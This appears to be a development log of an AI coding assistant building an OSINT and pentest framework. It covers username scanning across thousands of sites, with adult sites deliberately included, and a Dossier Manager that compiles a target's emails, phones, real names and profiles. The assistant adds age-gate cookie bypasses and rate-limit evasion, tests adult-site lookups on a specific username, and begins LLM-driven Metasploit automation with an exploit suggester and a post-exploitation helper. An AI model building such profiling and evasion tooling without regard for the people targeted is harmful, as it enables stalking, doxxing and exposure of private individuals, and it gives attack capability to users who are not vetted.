scan time tracking +- HTML report generation option +- Save options: [1] JSON, [2] HTML, [3] Both, [n] No + +--- + +### Files Created + +| File | Lines | Purpose | +|------|-------|---------| +| modules/geoip.py | ~350 | GEO IP/Domain lookup | +| modules/yandex_osint.py | ~280 | Yandex user OSINT | +| modules/nettest.py | ~300 | Network speed/connectivity tests | +| core/report_generator.py | ~350 | HTML report generation | + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Added new modules to menu, HTML report support | +| (version bumped to 2.2) | | + +--- + +### Directory Structure Update + +``` +dh_framework/ +├── core/ +│ ├── report_generator.py # NEW - HTML reports +│ └── ... +├── modules/ +│ ├── geoip.py # NEW - GEO IP lookup +│ ├── yandex_osint.py # NEW - Yandex OSINT +│ ├── nettest.py # NEW - Network testing +│ └── ... +└── results/ + └── reports/ # NEW - HTML report output +``` + +--- + +### Usage Examples + +**GEO IP Lookup:** +``` +OSINT Menu > [G] GEO IP/Domain Lookup +> Enter: 8.8.8.8 +> Shows: Country, Region, City, ISP, Map links +``` + +**Yandex OSINT:** +``` +OSINT Menu > [Y] Yandex OSINT +> Enter Yandex login: username +> Shows: Name, Email, Avatar, Profile links +``` + +**Network Test:** +``` +OSINT Menu > [N] Network Test +> [1] Test Connectivity +> [2] Full Speed Test +> [3] Test DNS +> [4] Run All Tests +``` + +**Username Scan with HTML Report:** +``` +OSINT Menu > [3] Username Lookup +> Enter username: target_user +> Scan completes... +> Save results? [2] HTML +> Saved HTML report to results/reports/target_user_20260115_050000.html +``` + +--- + +### Notes + +- All modules are in English (translated from Russian Snoop Project) +- All modules are branded as AUTARCH/darkHal Security Group +- Modules follow AUTARCH coding conventions +- HTML reports use a dark theme matching the terminal aesthetic + +--- + +## Session 3 - OSINT Improvements + +### Overview + +This session focused on improving the OSINT username scanning functionality: +1. Adding configurable thread settings +2. Fixing malformed site names +3. Improving false positive detection +4. Cleaning up garbage sites from the database + +--- + +### Part 1: OSINT Thread Settings + +### User Request +> we need to add a threads setting for the OSINT search. For some reason it thinks my device has 50 threads. So lets add a option in the settings menu to adjust max threads and lets have the application default to 8 + +--- + +### Work Completed + +#### 1. Added OSINT Configuration Section (core/config.py) + +**New Default Config Section:** +```python +'osint': { + 'max_threads': '8', + 'timeout': '8', + 'include_nsfw': 'false', +} +``` + +**New Method:** +```python +def get_osint_settings(self) -> dict: + """Get all OSINT settings as a dictionary.""" + return { + 'max_threads': self.get_int('osint', 'max_threads', 8), + 'timeout': self.get_int('osint', 'timeout', 8), + 'include_nsfw': self.get_bool('osint', 'include_nsfw', False), + } +``` + +--- + +#### 2. Updated OSINT Modules to Use Config + +**modules/recon.py:** +- Imports `get_config` from core.config +- Reads thread count from config instead of hardcoded 50 +- Also uses config for timeout and NSFW settings + +```python +def __init__(self): + self.config = get_config() + osint_settings = self.config.get_osint_settings() + self.scan_config = { + 'max_sites': 200, + 'include_nsfw': osint_settings['include_nsfw'], + 'categories': None, + 'timeout': osint_settings['timeout'], + 'threads': osint_settings['max_threads'], # Was hardcoded to 50 + } +``` + +**modules/adultscan.py:** +- Imports `get_config` from core.config +- Uses `self.max_threads` from config instead of hardcoded 10 + +```python +def __init__(self): + self.config = get_config() + osint_settings = self.config.get_osint_settings() + self.timeout = osint_settings['timeout'] + self.max_threads = osint_settings['max_threads'] # Was hardcoded to 10 +``` + +--- + +#### 3. Added OSINT Settings Menu (core/menu.py) + +**Updated Settings Menu:** +``` + Settings + ────────────────────────────────────────────────── + + [1] LLM Settings + [2] Metasploit Settings + [3] Database Management + [4] Custom APIs + [5] AUTARCH API + [6] OSINT Settings <- NEW + + [7] View All Settings + [8] Run Setup Wizard + + [0] Back +``` + +**OSINT Settings Submenu:** +``` + OSINT Settings + ────────────────────────────────────────────────── + + Max Threads: 8 + Timeout: 8 seconds + Include NSFW: No + + Thread setting controls parallel requests during + username scanning. Lower values = slower but safer. + + [1] Set Max Threads + [2] Set Timeout + [3] Toggle NSFW Sites + + [0] Back +``` + +**New Methods Added:** +| Method | Purpose | +|--------|---------| +| `show_osint_settings()` | Display OSINT settings menu | +| `_set_osint_threads()` | Configure max threads (1-100) | +| `_set_osint_timeout()` | Configure timeout (1-60 seconds) | +| `_toggle_osint_nsfw()` | Toggle NSFW site inclusion | + +--- + +#### 4. Updated "View All Settings" + +Now includes OSINT configuration in the full settings view: +``` + OSINT Configuration: + max_threads : 8 + timeout : 8 + include_nsfw : False +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| core/config.py | Added `[osint]` section defaults, `get_osint_settings()` method | +| core/menu.py | Added OSINT Settings menu (option 6), 3 new config methods | +| modules/recon.py | Import config, use `osint_settings['max_threads']` | +| modules/adultscan.py | Import config, use `self.max_threads` from config | + +--- + +### Configuration File Format + +New section in `autarch_settings.conf`: +```ini +[osint] +max_threads = 8 +timeout = 8 +include_nsfw = false +``` + +--- + +### Usage + +**To adjust OSINT thread count:** +``` +Main Menu → Settings (99) → OSINT Settings (6) → Set Max Threads (1) +``` + +**Recommended values:** +- Low-end devices: 4-8 threads +- Mid-range devices: 8-16 threads +- High-end devices: 16-32 threads + +--- + +### Notes + +- Default changed from 50 to 8 threads for safer scanning +- Setting persists in `autarch_settings.conf` +- Both `recon.py` and `adultscan.py` now use the same config +- Timeout and NSFW toggle also configurable from the same menu + +--- + +### Part 2: Username Scan Improvements + +**User Request:** +> we need improve the false positive detection on the username scan, as well as scan sites alphabetically. It also appears we have a naming issue. we have lots of sites that just say forum_name instead of the name of the sites. Also there are missing sites. Did you filter and remove sites like imgsrc.ru when you imported data? + +--- + +### Investigation Results + +1. **Malformed Names**: Found 3,409 sites with bad names: + - `{username}.domain` style names (placeholder not replaced) + - `Forum_sitename` patterns + - `site_vb1`, `site_xf`, `site_phpbb` duplicates (forum software variants) + +2. **imgsrc.ru**: NOT filtered - exists in database (2 entries) + +3. **Sites ordered by rank, not alphabetically** + +--- + +### Work Completed + +#### 1. Database Cleanup (core/sites_db.py) + +**Added `cleanup_names()` method:** +- Fixes `{username}` style names by extracting from URL domain +- Fixes `Forum_name` patterns by extracting actual name +- Removes duplicate forum software variants (`_vb1`, `_xf`, `_phpbb`, etc) +- Merges renamed entries if name already exists + +**Cleanup Results:** +``` +Renamed: 3,171 +Merged: 84 +Deleted: 407 +Total removed: 3,662 malformed entries +Sites remaining: 7,824 +``` + +--- + +#### 2. Alphabetical Sorting (core/sites_db.py) + +**Updated `get_sites_for_scan()` method:** +- Added `sort_alphabetically` parameter (default: `True`) +- Sites now scanned A-Z by default instead of by rank +- Query excludes malformed names automatically + +```python +def get_sites_for_scan( + self, + categories: List[str] = None, + include_nsfw: bool = False, + max_sites: int = 500, + sort_alphabetically: bool = True # NEW +) -> List[Dict]: +``` + +**SQL Filtering:** +```sql +AND name NOT LIKE '{%' +AND name NOT LIKE '%_vb1' AND name NOT LIKE '%_vb2' +AND name NOT LIKE '%_xf' AND name NOT LIKE '%_phpbb' +AND name NOT LIKE '%_mybb' AND name NOT LIKE '%_smf' +AND name NOT LIKE '%_ipb' AND name NOT LIKE '%_generic' +``` + +--- + +#### 3. Improved False Positive Detection (modules/recon.py) + +**Expanded NOT_FOUND_PATTERNS (30 patterns):** +- Registration prompts ("this username is available") +- Soft 404 indicators ("oops", "sorry") +- Suspension/ban messages +- Generic error page patterns +- Title tag checks for 404/error + +**Expanded FOUND_PATTERNS (23 patterns):** +- Account age/dates +- Activity statistics +- Activity timestamps +- Profile content indicators +- Verification badges +- Cam/streaming site patterns +- Social profile patterns +- E-commerce/creator patterns + +**Added FALSE_POSITIVE_URLS list:** +```python +FALSE_POSITIVE_URLS = [ + '/login', '/signin', '/signup', '/register', '/join', + '/404', '/error', '/not-found', '/notfound', + '/search', '/home', '/index', '/welcome', +] +``` + +**Improved Detection Logic:** +- Username variation checking (underscores, hyphens, dots) +- Better handling of short usernames (extra validation required) +- Short page content checks for generic indicators +- API/JSON endpoint confidence reduction +- Search query parameter detection +- Confidence capping at 100% +- Higher minimum threshold (45% vs 40%) + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| core/sites_db.py | `cleanup_names()` method, `sort_alphabetically` param, malformed name filtering | +| modules/recon.py | Expanded patterns, FALSE_POSITIVE_URLS, improved detection logic | + +--- + +### Site Count After Cleanup + +| Metric | Count | +|--------|-------| +| Total sites | 7,824 | +| Malformed names | 0 | +| imgsrc.ru entries | 2 (not filtered) | + +--- + +### Notes + +- No sites were filtered during import - imgsrc.ru and other adult sites are present +- Forum software variants were removed as duplicates (one entry per forum is sufficient) +- Alphabetical sorting makes progress easier to track during long scans +- False positive detection now more robust with 30+ NOT_FOUND patterns + +--- + +### Part 3: Other Category Cleanup + +**User Request:** +> its seems like their is alot of garbage sites in the other category + +--- + +### Investigation + +Found 6,462 sites (82%) in "other" category with many issues: +- Russian forum farms (ucoz, borda, at.ua, clan.su) +- Search URLs (not actual profile pages) +- Dead/closed sites +- Wiki user pages +- Invalid domains (google.com, gmail.com) +- Duplicate entries + +--- + +### Work Completed + +#### 1. Added `cleanup_garbage_sites()` Method + +Disables low-quality sites: +```python +# Russian forum farms +ucoz.ru, ucoz.net, ucoz.com, at.ua, borda.ru, clan.su, forum24.ru, mybb.ru, do.am + +# Search URLs (not profile pages) +search.php?author=, /search?, action=search, memberlist.php?mode=viewprofile + +# uCoz profile pattern +/index/8-0- +``` + +Deletes garbage: +```python +# Dead sites +CLOSEDEAD, CLOSED, __DEAD, _DEAD + +# Duplicate markers +__2, __3 +``` + +#### 2. Added `auto_categorize()` Method + +Auto-categorizes sites based on name/URL patterns: +- **tech**: github, stackoverflow, hackerone, etc. +- **gaming**: twitch, steam, xbox, playstation, etc. +- **art**: 500px, flickr, deviantart, etc. +- **forum**: sites with forum/forums in URL +- **adult**: pornhub, onlyfans, chaturbate, etc. +- **social**: mastodon, minds, mewe, etc. +- And more... + +#### 3. Added `remove_duplicates()` Method + +Removes sites with identical URL templates. + +#### 4. Additional Cleanup + +- Disabled wiki user pages (`/wiki/User:`) +- Disabled archive.org wayback URLs +- Deleted invalid domains (google.com, gmail.com) +- Disabled more search URL patterns + +--- + +### Results + +| Metric | Before | After | Change | +|--------|--------|-------|--------| +| Total sites | 7,824 | 7,119 | -705 | +| Enabled sites | 7,824 | 4,786 | -3,038 | +| "other" category | 6,462 (82%) | 2,011 (42%) | -4,451 | +| Disabled sites | 0 | 2,333 | +2,333 | + +**Sites by Category (Enabled):** +``` +other 2,011 +forum 1,284 +social 277 +adult 243 +tech 240 +gaming 170 +art 95 +news 91 +video 82 +finance 80 +music 63 +professional 50 +shopping 46 +dating 45 +hobby 8 +images 1 +``` + +--- + +### New Methods in sites_db.py + +| Method | Purpose | +|--------|---------| +| `cleanup_garbage_sites()` | Disable Russian forums, search URLs, dead sites | +| `auto_categorize()` | Auto-categorize "other" sites by patterns | +| `remove_duplicates()` | Remove duplicate URL templates | +| `get_disabled_count()` | Get count of disabled sites | +| `enable_all_sites()` | Re-enable all disabled sites | + +--- + +### Notes + +- Sites are **disabled**, not deleted (can be re-enabled) +- "other" category now contains legitimate misc sites +- Quality over quantity - 4,786 enabled sites vs 7,824 total +- Use `db.enable_all_sites()` to restore all sites if needed + +--- + +### Session 3 Summary + +**Files Modified:** +| File | Changes | +|------|---------| +| `core/config.py` | Added `[osint]` section, `get_osint_settings()` | +| `core/menu.py` | Added OSINT Settings menu (option 6) | +| `core/sites_db.py` | Added `cleanup_garbage_sites()`, `auto_categorize()`, `remove_duplicates()`, `cleanup_names()`, alphabetical sorting | +| `modules/recon.py` | Expanded detection patterns, improved confidence logic | +| `modules/adultscan.py` | Added config support for threads | + +**Database Changes:** +| Metric | Original | Final | +|--------|----------|-------| +| Total sites | 8,315+ | 7,119 | +| Enabled sites | 8,315+ | 4,786 | +| "other" category | 82% | 42% | +| Malformed names | 3,409 | 0 | + +**Key Improvements:** +- Configurable OSINT thread count (default: 8) +- Sites scanned alphabetically for easier progress tracking +- 30+ NOT_FOUND patterns for false positive detection +- 23+ FOUND patterns for profile validation +- Auto-categorization of sites +- Garbage site filtering (Russian forum farms, search URLs, wiki pages) + +--- + +--- + +## Session 3 (Continued) - Social-Analyzer Style Detection + +### User Request +> the username search still needs some tweaks. take a look at how social analyzer does it /home/snake/Downloads/OSINT/social-analyzer-main.zip and make ours more like that + +--- + +### Analysis of Social-Analyzer + +Examined the social-analyzer codebase and identified key differences: + +1. **Detection System**: Uses `return: true/false` pattern + - `return: false` + string found = user does NOT exist + - `return: true` + string found = user EXISTS + +2. **Rate Calculation**: `rate = (detections_passed / detections_total) * 100` + +3. **Status Categories**: + - `good`: 100% rate + - `maybe`: 50-100% rate + - `bad`: <50% rate + +4. **WAF/Captcha Detection**: Filters Cloudflare and captcha pages + +5. **Random Delays**: `sleep(randint(1, 99) / 100)` to avoid rate limiting + +6. **Retry Logic**: Retries failed sites up to 3 times + +--- + +### Work Completed + +#### 1. Rewrote Detection System (modules/recon.py) + +**New WAF/Captcha Detection:** +```python +WAF_PATTERNS = re.compile( + r'captcha-info|Please enable cookies|Completing the CAPTCHA|' + r'checking your browser|just a moment|ddos protection|' + r'access denied|blocked|security check|verify you are human', + re.IGNORECASE +) + +WAF_TITLE_PATTERNS = re.compile( + r'not found|blocked|attention required|cloudflare|' + r'access denied|security check|ddos|captcha', + re.IGNORECASE +) +``` + +**New Shared Detections (like social-analyzer):** +```python +SHARED_DETECTIONS = { + 'mastodon': [ + {'return': False, 'string': "The page you are looking for isn"}, + {'return': True, 'string': 'profile:username'}, + ], + 'discourse': [...], + 'gitlab': [...], + 'phpbb': [...], + 'xenforo': [...], + 'vbulletin': [...], +} +``` + +**New Detection Logic:** +- Check NOT_FOUND_STRINGS (return: false patterns) +- Check FOUND_STRINGS (return: true patterns) +- Check if username in content/URL +- Calculate rate as percentage +- Determine status (good/maybe/bad) + +#### 2. Updated `_check_site()` Method + +**Key Changes:** +- Random delay: `time.sleep(randint(5, 50) / 100)` +- Cloudflare detection via `cf-ray` header +- WAF content pattern matching +- Title extraction and analysis +- Rate calculation: `rate = (passed / total) * 100` +- Status determination: good (100%), maybe (50-100%), bad (<50%) +- Retry logic for 5xx errors and connection failures (up to 2 retries) +- Returns `filtered` status for WAF-blocked pages + +**Return Format:** +```python +{ + 'name': site['name'], + 'url': url, + 'category': site.get('category', 'other'), + 'rate': '75.5%', # Percentage + 'status': 'maybe', # good/maybe/bad/restricted/filtered + 'title': 'Page Title', + 'is_tracker': False, + 'found': 5, # Detections passed + 'total': 8, # Total detections +} +``` + +#### 3. Updated Display Logic + +**Real-time Output:** +``` + [+] SiteName https://site.com/user [100.0%] (good - green) + [?] OtherSite https://other.com/user [65.5%] (maybe - yellow) +``` + +**Summary Categories:** +``` +Results Breakdown (social-analyzer style): + Detected (good): 15 + Unknown (maybe): 8 + Bad (low rate): 3 + Restricted (403): 12 + Filtered (WAF): 5 + Tracker sites: 2 +``` + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Complete rewrite of detection system, WAF detection, retry logic, rate calculation | + +--- + +### Detection Patterns + +**NOT_FOUND_STRINGS (return: false):** +- user not found, profile not found, page not found +- does not exist, no user, no such user +- account has been suspended/deleted/banned +- sign up, create an account, register now +- there's nothing here, this page is no longer available + +**FOUND_STRINGS (return: true):** +- og:title, profile:username, user-profile +- member-header, profile-header, user-info +- followers, following, posts, joined +- member since, last seen, last active +- follow, subscribe, message + +--- + +### Comparison with Social-Analyzer + +| Feature | Before | After (social-analyzer style) | +|---------|--------|-------------------------------| +| Detection | Regex patterns | String matching with return true/false | +| Confidence | 0-100 score | Rate percentage | +| Status | High/Medium/Low | good/maybe/bad | +| WAF Detection | None | Cloudflare + captcha patterns | +| Delays | None | Random 50-500ms | +| Retries | None | Up to 2 retries | +| Filtering | None | Filtered status for WAF | + +--- + +### Notes + +- Detection system now mirrors social-analyzer's approach +- Rate calculation is more accurate than arbitrary confidence scores +- WAF detection prevents false positives from Cloudflare pages +- Random delays reduce rate limiting issues +- Retry logic handles temporary failures +- Filtered status clearly marks WAF-blocked results + +--- + +--- + +## Session 3 (Continued) - Verbose Output & Blackbird Import + +### User Request +> you turned off username scan verbose results, make sure it shows realtime the site being scanned. Also import the sites from this application /home/snake/blackbird + +--- + +### Work Completed + +#### 1. Real-Time Verbose Output (modules/recon.py) + +Added real-time progress display during username scanning: + +```python +# Show current site being checked (verbose) +print(f"\r{Colors.DIM} [{checked}/{total_sites}] Checking: {site['name'][:30]:30}{Colors.RESET}", end='', flush=True) +``` + +**Features:** +- Shows current progress counter `[X/Y]` +- Displays site name being checked (truncated to 30 chars) +- Uses carriage return `\r` for in-place updates +- Dimmed color to distinguish from results +- Clears line before printing final results + +--- + +#### 2. Blackbird Sites Import (core/sites_db.py) + +Added `import_from_blackbird()` method to import sites from the blackbird OSINT tool. + +**Blackbird Data Format** (`wmn-data.json`): +```json +{ + "SiteName": { + "main": "https://example.com", + "uri_check": "https://example.com/user/{account}", + "e_string": "not found", + "e_code": 404, + "m_string": "", + "m_code": 200, + "cat": "social" + } +} +``` + +**Import Method:** +```python +def import_from_blackbird(self, blackbird_path: str = '/home/snake/blackbird', verbose: bool = True) -> Dict[str, int]: + """Import sites from blackbird application.""" + # Load wmn-data.json + # Parse each site entry + # Handle {account} placeholder -> {} + # Handle name collisions by adding _bb suffix + # Skip duplicate URLs +``` + +**Name Collision Handling:** +```python +# Check if name already exists - if so, append source suffix +cursor.execute("SELECT id FROM sites WHERE name = ?", (name,)) +existing_name = cursor.fetchone() +if existing_name: + name = f"{name}_bb" # Add blackbird suffix +``` + +**Import Results:** +- First run: 77 new sites added, 573 skipped (URL duplicates) +- After name collision fix: 91 additional sites added +- **Total from blackbird: 168 new sites** + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Added real-time verbose output in `_check_site()` loop | +| core/sites_db.py | Added `import_from_blackbird()` method | + +--- + +### Database Statistics Update + +| Metric | Before | After | +|--------|--------|-------| +| Total sites | 7,119 | 7,287 | +| Sources | 9 | 10 | +| Blackbird sites | 0 | 168 | + +--- + +### Notes + +- Blackbird uses `{account}` as placeholder (converted to `{}`) +- Name collisions resolved with `_bb` suffix +- Most blackbird sites already existed in database (from other sources) +- Verbose output updates in-place without scrolling + +--- + +--- + +## Session 4 - 2026-01-15 (Continued) - Dossier Manager & NSFW Fix + +### User Request +> in the OSINT section, lets add a new menu named Dossier. In dossier the options are Start New and View. What this module does is lets users view saved information from the recon module and lets you associate information such as the results from an email search and username search + +--- + +### Work Completed + +#### 1. Dossier Manager Module (modules/dossier.py) + +Created a comprehensive OSINT investigation management system: + +**Menu Structure:** +``` + Dossier Manager + ────────────────────────────────────────────────── + Saved dossiers: X + + [1] Start New Dossier + [2] View Dossiers + + [0] Back +``` + +**Dossier Features:** +- Create new dossiers with subject name, notes, and initial identifiers +- Store multiple identifier types: + - Emails + - Usernames + - Phone numbers + - Real names + - Aliases +- Import search results from JSON files (username scan results) +- Manually add profiles +- Add investigation notes +- View all associated data grouped by category +- Export as JSON or text report + +**Dossier Detail Menu:** +``` + View + [1] View Identifiers + [2] View Search Results + [3] View Profiles + [4] View Notes + + Add + [5] Add Identifier + [6] Import Search Results + [7] Add Profile Manually + [8] Add Note + + Manage + [E] Edit Dossier Info + [X] Export Dossier + [D] Delete Dossier +``` + +**Storage:** +- Dossiers saved as JSON in `dossiers/` directory +- Auto-generated unique IDs with timestamps +- Supports importing `*_profiles.json` files from username scans + +--- + +#### 2. Added Dossier to OSINT Menu (modules/recon.py) + +**New Menu Section:** +``` + Dossier + [R] Dossier Manager +``` + +**Methods Added:** +| Method | Purpose | +|--------|---------| +| `run_dossier_manager()` | Launch Dossier Manager module | + +--- + +#### 3. Fixed NSFW Adult Site Detection + +**Issue:** Adult sites like Chaturbate weren't appearing in results even with NSFW enabled. + +**Root Causes Found:** +1. **Inconsistent NSFW flags**: 97 adult category sites had `nsfw=0` +2. **Config not used**: `include_nsfw` config setting wasn't being used as default + +**Fixes Applied:** + +**Database Fix:** +```sql +UPDATE sites SET nsfw = 1 WHERE category = 'adult' +-- Updated 179 adult category sites +``` + +**Code Fix (modules/recon.py):** +```python +# Before: hardcoded default +include_nsfw = False + +# After: uses config setting +osint_settings = self.config.get_osint_settings() +include_nsfw = osint_settings['include_nsfw'] +``` + +**Prompt Updated:** +- Now shows current config default (y/n) +- Press Enter keeps default instead of overriding to 'n' + +--- + +### Files Created + +| File | Lines | Purpose | +|------|-------|---------| +| modules/dossier.py | ~680 | Dossier Manager module | + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Added Dossier menu section, `run_dossier_manager()` method, fixed NSFW default | +| data/sites/sites.db | Fixed nsfw=1 for all adult category sites | + +--- + +### New Directory + +| Path | Purpose | +|------|---------| +| dossiers/ | Storage for dossier JSON files | + +--- + +### Dossier JSON Structure + +```json +{ + "meta": { + "name": "Investigation Name", + "subject": "Target identifier", + "created": "2026-01-15T12:00:00", + "modified": "2026-01-15T12:00:00", + "notes": "Initial notes" + }, + "identifiers": { + "emails": ["user@example.com"], + "usernames": ["username1", "username2"], + "phones": ["+1234567890"], + "real_names": ["John Doe"], + "aliases": ["alias1"] + }, + "results": { + "email_searches": [], + "username_searches": [ + { + "username": "target", + "date": "2026-01-15T12:00:00", + "total_checked": 500, + "found": [...] + } + ], + "phone_searches": [] + }, + "profiles": [ + { + "name": "SiteName", + "url": "https://site.com/user", + "category": "social", + "status": "good", + "rate": "100%" + } + ], + "custom_notes": [ + {"date": "2026-01-15T12:00:00", "text": "Investigation note"} + ] +} +``` + +--- + +### Notes + +- Dossier Manager allows correlating data from multiple OSINT searches +- Import feature automatically adds username to identifiers list +- All adult category sites now properly flagged as NSFW +- Username scan now respects `include_nsfw` config setting as default +- Dossiers can be exported as JSON (full data) or text (readable report) + +--- + +--- + +## Session 4 (Continued) - Site Additions & Adult Site Fixes + +### User Requests +> chaturbate.com should have user url like this https://chaturbate.com/fudnucker/ +> in the project directory add the sites from pred_site.txt +> also make sure imgsrc.ru is in the database +> chaturbate still isnt showing up. i think the issue is that a age confirmation appears + +--- + +### Work Completed + +#### 1. Fixed Chaturbate URL Format + +**Issue:** Chaturbate URL was missing trailing slash. + +**Fix:** +```sql +-- Deleted incorrect entry (no trailing slash) +DELETE FROM sites WHERE name = 'ChaturBate' AND url_template = 'https://chaturbate.com/{}' + +-- Renamed correct entry +UPDATE sites SET name = 'Chaturbate' WHERE url_template = 'https://chaturbate.com/{}/' +``` + +**Result:** `https://chaturbate.com/fudnucker/` (correct format) + +--- + +#### 2. Added Sites from pred_site.txt + +Imported fanfiction and adult sites: + +| Site | URL Pattern | Category | NSFW | +|------|-------------|----------|------| +| Fimfiction | `https://www.fimfiction.net/user/{}` | fanfiction | No | +| Inkbunny | `https://inkbunny.net/{}` | adult | Yes | +| ArchiveOfOurOwn | `https://archiveofourown.org/users/{}` | fanfiction | No | +| AdultFanfiction | `https://www2.adult-fanfiction.org/forum/search/?&q={}&type=core_members` | adult | Yes | +| FanfictionNet | `https://www.fanfiction.net/u/{}` | fanfiction | No | +| Kemono | `https://kemono.su/artists?q={}` | adult | Yes | + +**Notes:** +- Inkbunny was already in database +- Created new "fanfiction" category +- AdultFanfiction and Kemono use search URLs (direct profiles require numeric IDs) + +--- + +#### 3. Fixed imgsrc.ru Configuration + +**Issue:** imgsrc.ru was categorized as "other" with `nsfw=0`. + +**Fix:** +```sql +UPDATE sites SET category = 'adult', nsfw = 1 WHERE name LIKE '%imgsrc%' +``` + +**Result:** +| Site | URL Pattern | Category | NSFW | +|------|-------------|----------|------| +| imgsrc.ru | `https://imgsrc.ru/main/user.php?user={}` | adult | Yes | +| iMGSRC.RU | `https://imgsrc.ru/main/user.php?lang=ru&user={}` | adult | Yes | + +--- + +#### 4. Added Age Verification Cookies + +**Issue:** Adult sites like Chaturbate show age confirmation pages, causing scans to fail. + +**Solution:** Added `SITE_COOKIES` dictionary with age verification cookies for 25+ adult sites. + +**New Code (modules/recon.py):** +```python +SITE_COOKIES = { + 'chaturbate.com': 'agreeterms=1; age_verified=1', + 'stripchat.com': 'age_confirmed=true', + 'bongacams.com': 'bonga_age=true', + 'cam4.com': 'age_checked=true', + 'myfreecams.com': 'mfc_age_check=1', + 'camsoda.com': 'age_verified=1', + 'livejasmin.com': 'age_gate=true', + 'pornhub.com': 'age_verified=1; accessAgeDisclaimerPH=1', + 'xvideos.com': 'age_verified=1', + 'xhamster.com': 'age_check=1', + 'xnxx.com': 'age_verified=1', + 'redtube.com': 'age_verified=1', + 'youporn.com': 'age_verified=1', + 'spankbang.com': 'age_verified=1', + 'eporner.com': 'age_verified=1', + 'rule34.xxx': 'age_gate=1', + 'e621.net': 'age_check=1', + 'furaffinity.net': 'sfw=0', + 'inkbunny.net': 'age_check=1', + 'hentai-foundry.com': 'age_check=1', + 'f95zone.to': 'xf_logged_in=1', + 'imgsrc.ru': 'lang=en; over18=1', + 'fansly.com': 'age_verified=1', + 'onlyfans.com': 'age_verified=1', + 'fetlife.com': 'age_check=1', +} +``` + +**Implementation:** +```python +# In _check_site() method - add cookies based on domain +parsed_url = urlparse(url) +domain = parsed_url.netloc.lower() +for cookie_domain, cookies in self.SITE_COOKIES.items(): + if cookie_domain in domain: + headers['Cookie'] = cookies + break +``` + +--- + +#### 5. Fixed Overly Aggressive WAF Detection + +**Issue:** Chaturbate (and other Cloudflare-served sites) were being marked as "filtered" even when returning valid content. + +**Root Cause:** WAF detection triggered on ANY Cloudflare-served site: +```python +# OLD - Too aggressive +if resp_headers.get('server', '') == 'cloudflare': + is_filtered = True +``` + +**Fix:** Only detect actual challenge/block pages: +```python +# NEW - Check for actual challenge page content +cf_challenge_patterns = [ + 'just a moment', 'checking your browser', 'please wait', + 'ray id', 'cf-browser-verification', 'cf_chl_opt', + 'enable javascript and cookies', 'why do i have to complete a captcha', +] +if any(p in content_lower for p in cf_challenge_patterns): + is_filtered = True + +# Only flag WAF patterns on short pages (likely error pages) +if self.WAF_PATTERNS.search(content): + if content_len < 5000: + is_filtered = True +``` + +**Updated WAF Patterns:** +```python +# More specific - only actual challenge indicators +WAF_PATTERNS = re.compile( + r'captcha-info|Completing the CAPTCHA|' + r'cf-browser-verification|cf_chl_prog|' + r'ddos protection by|verify you are human|' + r'please turn javascript on|enable cookies to continue', + re.IGNORECASE +) + +WAF_TITLE_PATTERNS = re.compile( + r'just a moment|attention required|' + r'ddos-guard|security check required', + re.IGNORECASE +) +``` + +--- + +### Test Results + +**Username scan for `fudnucker` on adult sites:** + +| Site | Status | Rate | URL | +|------|--------|------|-----| +| Chaturbate | maybe | 60% | https://chaturbate.com/fudnucker/ | +| AdultFanfiction | maybe | 66.7% | Search results | +| BDSMLR | maybe | 50% | https://fudnucker.bdsmlr.com | + +Chaturbate now successfully detected after all fixes applied. + +--- + +### Files Modified + +| File | Changes | +|------|---------| +| modules/recon.py | Added SITE_COOKIES dict, cookie injection in requests, fixed WAF detection logic | +| data/sites/sites.db | Fixed Chaturbate URL, added fanfiction sites, fixed imgsrc.ru | + +--- + +### Database Changes + +| Change | Count | +|--------|-------| +| Chaturbate URL fixed | 1 | +| New fanfiction sites | 4 | +| imgsrc.ru category/nsfw fixed | 2 | +| ChaturbateRU category fixed | 1 | + +--- + +### Notes + +- Age verification cookies bypass consent popups without user interaction +- WAF detection now only triggers on actual challenge pages, not CDN-served content +- Fanfiction category created for fanfic sites (AO3, Fimfiction, FanFiction.net) +- Sites using numeric IDs in URLs use search endpoints instead + +--- + +--- + +## Session 4 (Continued) - Agent Hal Module + +### User Request +> Now lets work on the LLM integration and automation features. Lets first start by adding Agent Hal menu option. In this menu, lets focus on defense and pen-testing for now. Lets set it up to have a MITM detection module, and then options to run MSF modules automated by having the user tell the LLM what it wants + +--- + +### Work Completed + +#### 1. Created Agent Hal Module (`modules/agent_hal.py`) + +AI-powered security automation module with two main features: + +**Menu Structure:** +``` + Agent Hal + AI-powered security automation + ────────────────────────────────────────────────── + LLM: Ready | MSF: Connected + + Defense + [1] MITM Detection + + Offense + [2] MSF Automation (AI) + + [0] Back +``` + +--- + +#### 2. MITM Detection System + +**Submenu:** +``` + MITM Detection + ────────────────────────────────────────────────── + + [1] Full MITM Scan (All Checks) + [2] ARP Spoofing Detection + [3] DNS Spoofing Detection + [4] SSL/TLS Stripping Detection + [5] Rogue DHCP Detection + [6] Gateway Anomaly Check + + [7] Continuous Monitoring Mode + + [0] Back +``` + +**Detection Methods:** + +| Check | Description | Severity | +|-------|-------------|----------| +| ARP Spoofing | Detects duplicate MACs in ARP table | HIGH | +| DNS Spoofing | Compares local DNS vs Google DNS resolution | HIGH | +| SSL Stripping | Tests HTTPS connections and certificates | MEDIUM | +| Rogue DHCP | Checks DHCP server legitimacy | HIGH | +| Gateway Anomaly | Verifies gateway MAC and connectivity | MEDIUM | + +**Continuous Monitoring:** +- Captures baseline ARP table +- Monitors for MAC address changes every 5 seconds +- Alerts on new hosts joining network +- Alerts on MAC changes for known IPs (ARP spoofing indicator) + +--- + +#### 3. LLM-Powered MSF Automation + +**Submenu:** +``` + MSF Automation (AI-Powered) + ────────────────────────────────────────────────── + LLM: Loaded | MSF: Connected + + [1] Describe What You Want To Do + [2] Quick Scan Target + [3] Exploit Suggester + [4] Post-Exploitation Helper + + [C] Connect to MSF + [L] Load LLM Model + + [0] Back +``` + +**Natural Language MSF Control:** +- Users describe what they want in plain English +- LLM interprets request and recommends MSF modules +- Returns JSON with module path, options, and explanation +- User confirms before execution + +**Example Workflow:** +``` +User: "Scan 192.168.1.1 for open ports" + +LLM Response: +{ + "module_type": "auxiliary", + "module_path": "scanner/portscan/tcp", + "options": {"RHOSTS": "192.168.1.1", "PORTS": "1-1000"}, + "explanation": 